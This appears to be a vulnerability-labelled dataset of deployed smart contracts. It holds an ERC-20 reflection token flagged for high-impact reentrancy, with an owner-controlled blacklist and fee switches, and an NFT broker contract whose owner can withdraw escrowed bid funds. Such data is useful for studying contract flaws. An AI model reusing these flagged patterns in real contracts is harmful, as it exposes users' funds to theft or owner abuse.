_feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000 * 10**9; _maxWalletSize = 15000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610341578063b87f137a14610361578063c3c8cd8014610381578063c9567bf914610396578063dd62ed3e146103ab57600080fd5b806370a08231146102a0578063715018a6146102c0578063751039fc146102d55780638da5cb5b146102ea57806395d89b411461031257600080fd5b8063273123b7116100e7578063273123b71461020f578063313ce5671461022f5780635932ead11461024b578063677daa571461026b5780636fc3eaec1461028b57600080fd5b806306fdde031461012f578063095ea7b31461017857806318160ddd146101a85780631b3f71ae146101cd57806323b872dd146101ef57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600e81526d2927a0a924a7239025a4aa2a22a760911b60208201525b60405161016f9190611717565b60405180910390f35b34801561018457600080fd5b50610198610193366004611791565b6103f1565b604051901515815260200161016f565b3480156101b457600080fd5b506706f05b59d3b200005b60405190815260200161016f565b3480156101d957600080fd5b506101ed6101e83660046117d3565b610408565b005b3480156101fb57600080fd5b5061019861020a366004611898565b6104a7565b34801561021b57600080fd5b506101ed61022a3660046118d9565b610510565b34801561023b57600080fd5b506040516009815260200161016f565b34801561025757600080fd5b506101ed610266366004611904565b61055b565b34801561027757600080fd5b506101ed610286366004611921565b6105a3565b34801561029757600080fd5b506101ed6105fd565b3480156102ac57600080fd5b506101bf6102bb3660046118d9565b61062a565b3480156102cc57600080fd5b506101ed61064c565b3480156102e157600080fd5b506101ed6106c0565b3480156102f657600080fd5b506000546040516001600160a01b03909116815260200161016f565b34801561031e57600080fd5b5060408051808201909152600681526525a4aa2a22a760d11b6020820152610162565b34801561034d57600080fd5b5061019861035c366004611791565b6106fd565b34801561036d57600080fd5b506101ed61037c366004611921565b61070a565b34801561038d57600080fd5b506101ed61075e565b3480156103a257600080fd5b506101ed610794565b3480156103b757600080fd5b506101bf6103c636600461193a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fe338484610b15565b5060015b92915050565b6000546001600160a01b0316331461043b5760405162461bcd60e51b815260040161043290611973565b60405180910390fd5b60005b81518110156104a35760016006600084848151811061045f5761045f6119a8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049b816119d4565b91505061043e565b5050565b60006104b4848484610c39565b610506843361050185604051806060016040528060288152602001611b37602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611043565b610b15565b5060019392505050565b6000546001600160a01b0316331461053a5760405162461bcd60e51b815260040161043290611973565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105855760405162461bcd60e51b815260040161043290611973565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161043290611973565b600081116105da57600080fd5b6105f760646105f16706f05b59d3b200008461107d565b90611106565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061d57600080fd5b4761062781611148565b50565b6001600160a01b03811660009081526002602052604081205461040290611182565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161043290611973565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161043290611973565b6706f05b59d3b20000600f819055601055565b60006103fe338484610c39565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161043290611973565b6000811161074157600080fd5b61075860646105f16706f05b59d3b200008461107d565b60105550565b600c546001600160a01b0316336001600160a01b03161461077e57600080fd5b60006107893061062a565b9050610627816111ff565b6000546001600160a01b031633146107be5760405162461bcd60e51b815260040161043290611973565b600e54600160a01b900460ff16156108185760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610432565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085430826706f05b59d3b20000610b15565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610892573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b691906119ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092791906119ed565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906119ed565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c88161062a565b6000806109dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a45573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6a9190611a0a565b5050600e80546611c37937e08000600f5566354a6ba7a1800060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a39190611a38565b6001600160a01b038316610b775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b038216610bd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610432565b6001600160a01b038216610cff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610432565b60008111610d615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610432565b6000600a556004600b55610d7d6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dac57506000546001600160a01b03838116911614155b15611033576001600160a01b03831660009081526006602052604090205460ff16158015610df357506001600160a01b03821660009081526006602052604090205460ff16155b610dfc57600080fd5b600e546001600160a01b038481169116148015610e275750600d546001600160a01b03838116911614155b8015610e4c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e615750600e54600160b81b900460ff165b15610f6657600f54811115610eb85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610432565b60105481610ec58461062a565b610ecf9190611a55565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610432565b6001600160a01b0382166000908152600760205260409020544211610f4157600080fd5b610f4c42601e611a55565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f915750600d546001600160a01b03848116911614155b8015610fb657506001600160a01b03831660009081526005602052604090205460ff16155b15610fc6576000600a556008600b555b6000610fd13061062a565b600e54909150600160a81b900460ff16158015610ffc5750600e546001600160a01b03858116911614155b80156110115750600e54600160b01b900460ff165b156110315761101f816111ff565b47801561102f5761102f47611148565b505b505b61103e838383611379565b505050565b600081848411156110675760405162461bcd60e51b81526004016104329190611717565b5060006110748486611a6d565b95945050505050565b60008260000361108f57506000610402565b600061109b8385611a84565b9050826110a88583611aa3565b146110ff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610432565b9392505050565b60006110ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611384565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a3573d6000803e3d6000fd5b60006008548211156111e95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610432565b60006111f36113b2565b90506110ff8382611106565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611247576112476119a8565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c491906119ed565b816001815181106112d7576112d76119a8565b6001600160a01b039283166020918202929092010152600d546112fd9130911684610b15565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611336908590600090869030904290600401611ac5565b600060405180830381600087803b15801561135057600080fd5b505af1158015611364573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61103e8383836113d5565b600081836113a55760405162461bcd60e51b81526004016104329190611717565b5060006110748486611aa3565b60008060006113bf6114cc565b90925090506113ce8282611106565b9250505090565b6000806000806000806113e78761150c565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114199087611569565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144890866115ab565b6001600160a01b03891660009081526002602052604090205561146a8161160a565b6114748483611654565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114b991815260200190565b60405180910390a3505050505050505050565b60085460009081906706f05b59d3b200006114e78282611106565b821015611503575050600854926706f05b59d3b2000092509050565b90939092509050565b60008060008060008060008060006115298a600a54600b54611678565b92509250925060006115396113b2565b9050600080600061154c8e8787876116c7565b919e509c509a509598509396509194505050505091939550919395565b60006110ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611043565b6000806115b88385611a55565b9050838110156110ff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610432565b60006116146113b2565b90506000611622838361107d565b3060009081526002602052604090205490915061163f90826115ab565b30600090815260026020526040902055505050565b6008546116619083611569565b60085560095461167190826115ab565b6009555050565b600080808061168c60646105f1898961107d565b9050600061169f60646105f18a8961107d565b905060006116b7826116b18b86611569565b90611569565b9992985090965090945050505050565b60008080806116d6888661107d565b905060006116e4888761107d565b905060006116f2888861107d565b90506000611704826116b18686611569565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561174457858101830151858201604001528201611728565b81811115611756576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062757600080fd5b803561178c8161176c565b919050565b600080604083850312156117a457600080fd5b82356117af8161176c565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117e657600080fd5b823567ffffffffffffffff808211156117fe57600080fd5b818501915085601f83011261181257600080fd5b813581811115611824576118246117bd565b8060051b604051601f19603f83011681018181108582111715611849576118496117bd565b60405291825284820192508381018501918883111561186757600080fd5b938501935b8285101561188c5761187d85611781565b8452938501939285019261186c565b98975050505050505050565b6000806000606084860312156118ad57600080fd5b83356118b88161176c565b925060208401356118c88161176c565b929592945050506040919091013590565b6000602082840312156118eb57600080fd5b81356110ff8161176c565b801515811461062757600080fd5b60006020828403121561191657600080fd5b81356110ff816118f6565b60006020828403121561193357600080fd5b5035919050565b6000806040838503121561194d57600080fd5b82356119588161176c565b915060208301356119688161176c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119e6576119e66119be565b5060010190565b6000602082840312156119ff57600080fd5b81516110ff8161176c565b600080600060608486031215611a1f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a4a57600080fd5b81516110ff816118f6565b60008219821115611a6857611a686119be565b500190565b600082821015611a7f57611a7f6119be565b500390565b6000816000190483118215151615611a9e57611a9e6119be565b500290565b600082611ac057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b155784516001600160a01b031683529383019391830191600101611af0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d66915ba8704f4ed87b8ae36d9b937b9178e4416ec1b89a02d721675bcb4ad764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,183
0x3c4425827c531ae37970eb4349091f9a8145f251
/** *Submitted for verification at Etherscan.io on 2021-09-03 */ // File: ClubRare/Broker.sol pragma solidity ^0.5.17; pragma experimental ABIEncoderV2; library TokenDetArrayLibV1 { // Using for array of strcutres for storing mintable address and token id using TokenDetArrayLibV1 for TokenDets; struct TokenDet { address NFTAddress; uint256 tokenID; } // custom type array TokenDets struct TokenDets { TokenDet[] array; } /** * @notice push an tokenDet to the array * @dev if the address already exists, it will not be added again * @param self Storage array containing tokenDet type variables */ function addTokenDet( TokenDets storage self, address _mintableaddress, uint256 _tokenID ) public { if (!self.exists(_mintableaddress, _tokenID)) { self.array.push(TokenDet(_mintableaddress, _tokenID)); } } /** * @notice get the tokenDet at a specific index from array * @dev revert if the index is out of bounds * @param self Storage array containing tokenDet type variables */ function getIndexByTokenDet( TokenDets storage self, address _mintableaddress, uint256 _tokenID ) internal view returns (uint256, bool) { uint256 index; bool exists = false; for (uint256 i = 0; i < self.array.length; i++) { if ( self.array[i].NFTAddress == _mintableaddress && self.array[i].tokenID == _tokenID ) { index = i; exists = true; break; } } return (index, exists); } /** * @notice remove an tokenDet from the array * @dev finds the tokenDet, swaps it with the last tokenDet, and then deletes it; * returns a boolean whether the tokenDet was found and deleted * @param self Storage array containing tokenDet type variables */ function removeTokenDet( TokenDets storage self, address _mintableaddress, uint256 _tokenID ) internal returns (bool) { (uint256 i, bool exists) = self.getIndexByTokenDet( _mintableaddress, _tokenID ); if (exists == true) { self.array[i] = self.array[self.array.length - 1]; self.array.pop(); return true; } return false; } /** * @notice check if an tokenDet exist in the array * @param self Storage array containing tokenDet type variables */ function exists( TokenDets storage self, address _mintableaddress, uint256 _tokenID ) internal view returns (bool) { for (uint256 i = 0; i < self.array.length; i++) { if ( self.array[i].NFTAddress == _mintableaddress && self.array[i].tokenID == _tokenID ) { return true; } } return false; } } // Interface of ERC721Receiver contract IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4); } // Contract for Managing the ERC721 Holding contract ERC721Holder is IERC721Receiver { function onERC721Received( address, address, uint256, bytes memory ) public returns (bytes4) { return this.onERC721Received.selector; } } // ERC721 Interface contract IMintableToken { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom( address _from, address _to, uint256 _tokenId ) external; function royalities(uint256 _tokenId) public view returns (uint256); function creators(uint256 _tokenId) public view returns (address payable); function safeTransferFrom( address from, address to, uint256 tokenId ) public; function getApproved(uint256 tokenId) public view returns (address operator); // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // Broker Contract contract Broker is ERC721Holder { using TokenDetArrayLibV1 for TokenDetArrayLibV1.TokenDets; // events event Bid( address indexed collection, uint256 indexed tokenId, address indexed seller, address bidder, uint256 amouont, uint256 time ); event Buy( address indexed collection, uint256 tokenId, address indexed seller, address indexed buyer, uint256 amount, uint256 time ); event Collect( address indexed collection, uint256 indexed tokenId, address indexed seller, address buyer, address collector, uint256 time ); event OnSale( address indexed collection, uint256 indexed tokenId, address indexed seller, uint256 auctionType, uint256 amount, uint256 time ); event PriceUpdated( address indexed collection, uint256 indexed tokenId, address indexed seller, uint256 auctionType, uint256 oldAmount, uint256 amount, uint256 time ); event OffSale( address indexed collection, uint256 indexed tokenId, address indexed seller, uint256 time ); address owner; uint16 public brokerage; mapping(address => mapping(uint256 => bool)) tokenOpenForSale; mapping(address => TokenDetArrayLibV1.TokenDets) tokensForSalePerUser; TokenDetArrayLibV1.TokenDets fixedPriceTokens; TokenDetArrayLibV1.TokenDets auctionTokens; //auction type : // 1 : only direct buy // 2 : only bid // 3 : both buy and bid struct auction { address payable lastOwner; uint256 currentBid; address payable highestBidder; uint256 auctionType; uint256 startingPrice; uint256 buyPrice; bool buyer; uint256 startingTime; uint256 closingTime; } mapping(address => mapping(uint256 => auction)) public auctions; TokenDetArrayLibV1.TokenDets tokensForSale; constructor(uint16 _brokerage) public { owner = msg.sender; brokerage = _brokerage; } function getTokensForSale() public view returns (TokenDetArrayLibV1.TokenDet[] memory) { return tokensForSale.array; } function getFixedPriceTokensForSale() public view returns (TokenDetArrayLibV1.TokenDet[] memory) { return fixedPriceTokens.array; } function getAuctionTokensForSale() public view returns (TokenDetArrayLibV1.TokenDet[] memory) { return auctionTokens.array; } function getTokensForSalePerUser(address _user) public view returns (TokenDetArrayLibV1.TokenDet[] memory) { return tokensForSalePerUser[_user].array; } function setBrokerage(uint16 _brokerage) public onlyOwner { brokerage = _brokerage; } function bid(uint256 tokenID, address _mintableToken) public payable { IMintableToken Token = IMintableToken(_mintableToken); require( tokenOpenForSale[_mintableToken][tokenID] == true, "Token Not For Sale" ); require( msg.value > auctions[_mintableToken][tokenID].currentBid, "Insufficient Payment" ); require( block.timestamp < auctions[_mintableToken][tokenID].closingTime, "Auction Time Over!" ); require( auctions[_mintableToken][tokenID].auctionType != 1, "Auction Not For Bid" ); if (auctions[_mintableToken][tokenID].buyer == true) { auctions[_mintableToken][tokenID].highestBidder.transfer( auctions[_mintableToken][tokenID].currentBid ); } Token.safeTransferFrom(Token.ownerOf(tokenID), address(this), tokenID); auctions[_mintableToken][tokenID].currentBid = msg.value; auctions[_mintableToken][tokenID].buyer = true; auctions[_mintableToken][tokenID].highestBidder = msg.sender; // Bid event emit Bid( _mintableToken, tokenID, auctions[_mintableToken][tokenID].lastOwner, msg.sender, msg.value, block.timestamp ); } function collect(uint256 tokenID, address _mintableToken) public { IMintableToken Token = IMintableToken(_mintableToken); // Check expiry time require( block.timestamp > auctions[_mintableToken][tokenID].closingTime, "Auction Not Over!" ); // Get seller of the NFT address payable lastOwner2 = auctions[_mintableToken][tokenID] .lastOwner; // Check if this auction had even a single bid if (auctions[_mintableToken][tokenID].buyer == true) { // Get royality and creator of NFT from collection uint256 royalities = Token.royalities(tokenID); address payable creator = Token.creators(tokenID); // auctions[_mintableToken][tokenID].buyPrice = uint256(0); // NFT transfer Token.safeTransferFrom( Token.ownerOf(tokenID), auctions[_mintableToken][tokenID].highestBidder, tokenID ); // Royality transfer creator.transfer( (royalities * auctions[_mintableToken][tokenID].currentBid) / 10000 ); // Fund transfer after brockerage and royality charges lastOwner2.transfer( ((10000 - royalities - brokerage) * auctions[_mintableToken][tokenID].currentBid) / 10000 ); // Buy event emit Buy( _mintableToken, tokenID, lastOwner2, auctions[_mintableToken][tokenID].highestBidder, auctions[_mintableToken][tokenID].currentBid, block.timestamp ); } // Disabling the on sale status tokenOpenForSale[_mintableToken][tokenID] = false; // Collect event emit Collect( _mintableToken, tokenID, lastOwner2, auctions[_mintableToken][tokenID].highestBidder, msg.sender, block.timestamp ); // Remove from sale list tokensForSale.removeTokenDet(_mintableToken, tokenID); // Remove from sale per user list tokensForSalePerUser[lastOwner2].removeTokenDet( _mintableToken, tokenID ); // Remove form auctions list auctionTokens.removeTokenDet(_mintableToken, tokenID); // Delete the auction details delete auctions[_mintableToken][tokenID]; } function buy(uint256 tokenID, address _mintableToken) public payable { IMintableToken Token = IMintableToken(_mintableToken); require( tokenOpenForSale[_mintableToken][tokenID] == true, "Token Not For Sale" ); require( msg.value >= auctions[_mintableToken][tokenID].buyPrice, "Insufficient Payment" ); require( auctions[_mintableToken][tokenID].auctionType != 2, "Auction for Bid only!" ); address payable lastOwner2 = auctions[_mintableToken][tokenID] .lastOwner; uint256 royalities = Token.royalities(tokenID); address payable creator = Token.creators(tokenID); tokenOpenForSale[_mintableToken][tokenID] = false; auctions[_mintableToken][tokenID].buyer = true; auctions[_mintableToken][tokenID].highestBidder = msg.sender; auctions[_mintableToken][tokenID].currentBid = auctions[_mintableToken][ tokenID ].buyPrice; Token.safeTransferFrom( Token.ownerOf(tokenID), auctions[_mintableToken][tokenID].highestBidder, tokenID ); creator.transfer( (royalities * auctions[_mintableToken][tokenID].currentBid) / 10000 ); lastOwner2.transfer( ((10000 - royalities - brokerage) * auctions[_mintableToken][tokenID].currentBid) / 10000 ); // Buy event emit Buy( _mintableToken, tokenID, lastOwner2, msg.sender, auctions[_mintableToken][tokenID].buyPrice, block.timestamp ); tokensForSale.removeTokenDet(_mintableToken, tokenID); tokensForSalePerUser[lastOwner2].removeTokenDet( _mintableToken, tokenID ); fixedPriceTokens.removeTokenDet(_mintableToken, tokenID); } function withdraw() public onlyOwner { msg.sender.transfer(address(this).balance); } function putOnSale( uint256 _tokenID, uint256 _startingPrice, uint256 _auctionType, uint256 _buyPrice, uint256 _duration, address _mintableToken ) public { IMintableToken Token = IMintableToken(_mintableToken); require(Token.ownerOf(_tokenID) == msg.sender, "Permission Denied"); require( Token.getApproved(_tokenID) == address(this), "Broker Not approved" ); // Allow to put on sale to already on sale NFT \ // only if it was on auction and have 0 bids and auction is over if (tokenOpenForSale[_mintableToken][_tokenID] == true) { require( auctions[_mintableToken][_tokenID].auctionType == 2 && auctions[_mintableToken][_tokenID].buyer == false && block.timestamp > auctions[_mintableToken][_tokenID].closingTime, "This NFT is already on sale." ); } auction memory newAuction = auction( msg.sender, _startingPrice, address(0), _auctionType, _startingPrice, _buyPrice, false, block.timestamp, block.timestamp + _duration ); auctions[_mintableToken][_tokenID] = newAuction; // Store data in all mappings if adding fresh token on sale if (tokenOpenForSale[_mintableToken][_tokenID] == false) { tokenOpenForSale[_mintableToken][_tokenID] = true; tokensForSale.addTokenDet(_mintableToken, _tokenID); tokensForSalePerUser[msg.sender].addTokenDet( _mintableToken, _tokenID ); // Add token to fixedPrice on Timed list if (_auctionType == 1) { fixedPriceTokens.addTokenDet(_mintableToken, _tokenID); } else if (_auctionType == 2) { auctionTokens.addTokenDet(_mintableToken, _tokenID); } } // OnSale event emit OnSale( _mintableToken, _tokenID, msg.sender, _auctionType, _auctionType == 1 ? _buyPrice : _startingPrice, block.timestamp ); } function updatePrice( uint256 tokenID, address _mintableToken, uint256 _newPrice ) public { IMintableToken Token = IMintableToken(_mintableToken); // Sender will be owner only if no have bidded on auction. require( Token.ownerOf(tokenID) == msg.sender, "You must be owner and Token should not have any bid" ); require( tokenOpenForSale[_mintableToken][tokenID] == true, "Token Must be on sale to change price" ); if (auctions[_mintableToken][tokenID].auctionType == 2) { require( block.timestamp < auctions[_mintableToken][tokenID].closingTime, "Auction Time Over!" ); } // Trigger event PriceUpdated with Old and new price emit PriceUpdated( _mintableToken, tokenID, auctions[_mintableToken][tokenID].lastOwner, auctions[_mintableToken][tokenID].auctionType, auctions[_mintableToken][tokenID].auctionType == 1 ? auctions[_mintableToken][tokenID].buyPrice : auctions[_mintableToken][tokenID].startingPrice, _newPrice, block.timestamp ); // Update Price if (auctions[_mintableToken][tokenID].auctionType == 1) { auctions[_mintableToken][tokenID].buyPrice = _newPrice; } else { auctions[_mintableToken][tokenID].startingPrice = _newPrice; auctions[_mintableToken][tokenID].currentBid = _newPrice; } } function putSaleOff(uint256 tokenID, address _mintableToken) public { IMintableToken Token = IMintableToken(_mintableToken); require(Token.ownerOf(tokenID) == msg.sender, "Permission Denied"); auctions[_mintableToken][tokenID].buyPrice = uint256(0); tokenOpenForSale[_mintableToken][tokenID] = false; // OffSale event emit OffSale(_mintableToken, tokenID, msg.sender, block.timestamp); tokensForSale.removeTokenDet(_mintableToken, tokenID); tokensForSalePerUser[msg.sender].removeTokenDet( _mintableToken, tokenID ); // Remove token from list if (auctions[_mintableToken][tokenID].auctionType == 1) { fixedPriceTokens.removeTokenDet(_mintableToken, tokenID); } else if (auctions[_mintableToken][tokenID].auctionType == 2) { auctionTokens.removeTokenDet(_mintableToken, tokenID); } } function getOnSaleStatus(address _mintableToken, uint256 tokenID) public view returns (bool) { return tokenOpenForSale[_mintableToken][tokenID]; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function() external payable { //call your function here / implement your actions } }
